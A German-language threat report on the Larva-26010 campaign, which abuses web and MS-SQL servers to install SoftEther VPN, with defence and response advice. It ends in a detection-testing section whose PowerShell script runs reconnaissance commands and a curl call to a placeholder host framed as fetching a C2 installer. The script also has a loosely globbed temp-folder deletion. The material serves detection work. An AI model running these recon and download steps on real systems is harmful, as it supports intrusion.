Malware-Kampagne zielt auf koreanische Webserver mit SoftEther VPN

Zusammenfassung

Der Bedrohungsakteur Larva-26010 zielt auf Web- und MS-SQL-Server in Südkorea ab, um SoftEther VPN einzusetzen. Kompromittierte Systeme werden in VPN-Server umfunktioniert, möglicherweise werden Kaskadenverbindungen verwendet, um die wahre C&C-Infrastruktur der Angreifer zu verschleiern. Der Einbruch beginnt typischerweise mit der Kompromittierung eines Webservers, gefolgt von der Bereitstellung von Web-Shells und SQLShells.

Untersuchung

Das AhnLab Security Intelligence Center identifizierte kürzlich zwischen April und August 2026 erfolgte Angriffsaktivitäten. Die Untersuchung ergab eine Verschiebung in der Angriffsreihenfolge, bei der zuerst Webserver kompromittiert wurden, gefolgt von Erkennungskommandos, der Installation von SoftEther VPN und nachfolgenden Angriffen auf MS-SQL-Server zur Bereitstellung von CLR SqlShell. Die Angreifer nutzten auch Werkzeuge wie PowerShell, bitsadmin, und certutil zur Bereitstellung von Payloads.

Abwehrmaßnahmen

Administratoren sollten Webserver auf ausnutzbare Schwachstellen überprüfen und alle Eingabewerte validieren, die in DBMS-Abfragen und Webdienstanfragen verwendet werden. Ausführungsberechtigungen sollten über Upload-Verzeichnisse eingeschränkt werden, während IIS-Webserver und Betriebssysteme vollständig gepatcht bleiben sollten. Antiviren- und Sicherheitsprodukte wie V3 sollten ebenfalls auf die neueste verfügbare Version aktualisiert werden.

Reaktion

Wenn bösartige Aktivitäten festgestellt werden, sollten betroffene Web- und MS-SQL-Server sofort isoliert werden, um laterale Bewegungen zu begrenzen. Ermittler sollten den Umfang der Bereitstellung von Web-Shells und SqlShells ermitteln und neu erstellte Benutzerkonten auf unbefugte Administrator Konten überprüfen. Registrierungseinstellungen wie UseLogonCredential sollten ebenfalls auf verdächtige Änderungen untersucht werden.

## Ausführung der Simulation

Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genau erwartete Telemetrie zu generieren, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffserzählung & Befehle: Der Angreifer hat sich über eine Web-Schwachstelle initialen Zugriff verschafft. Um laterale Bewegungen zu erleichtern und ein dauerhaftes Hintertürchen zu etablieren, müssen sie das lokale Netzwerk abbilden und den SoftEther VPN-Installer herunterladen. Der Angreifer führt ipconfig /all aus, um die Schnittstelle abzubilden, whoami um die Berechtigungen zu bestätigen, und verwendet curl um den Installer von einem entfernten Command-and-Control (C2) Server abzurufen. Diese spezifische Abfolge soll die „SoftEther VPN-Installation“-Erkennungslogik auslösen, indem die genauen Befehlszeilenzeichenfolgen abgeglichen werden, die in der Sigma-Regel definiert sind.

• Regressionstest-Skript:

  # Simulationsskript: SoftEther-Erkennung und Payload-Download
  # Dieses Skript führt die genauen Befehle aus, nach denen die Regel sucht.
  
  Write-Host "[+] Entdeckungsphase starten..." -ForegroundColor Cyan
  
  # Trigger selection_command_lines: 'whoami'
  whoami
  
  # Trigger selection_command_lines: 'ipconfig /all'
  ipconfig /all
  
  # Trigger selection_command_lines: 'netstat -ano -p tcp'
  netstat -ano -p tcp
  
  # Trigger selection_command_lines: 'systeminfo'
  systeminfo
  
  Write-Host "[+] Payload-Download-Phase starten..." -ForegroundColor Cyan
  
  # Trigger selection_images: 'curl.exe' UND selection_command_lines: 'curl -h'
  # Hinweis: Wir verwenden -h, um innerhalb der Logik der Regel zu bleiben, während wir eine Download-Absicht simulieren
  curl -h https://example.com/softether_installer.exe
  
  Write-Host "[+] Simulation abgeschlossen." -ForegroundColor Green

• Bereinigungskommandos:

  # Es wurden in dieser Simulation keine Dateien tatsächlich heruntergeladen,
  # aber wir stellen sicher, dass keine Artefakte zurückbleiben.
  Remove-Item -Path "$env:TEMP*" -Force -ErrorAction SilentlyContinue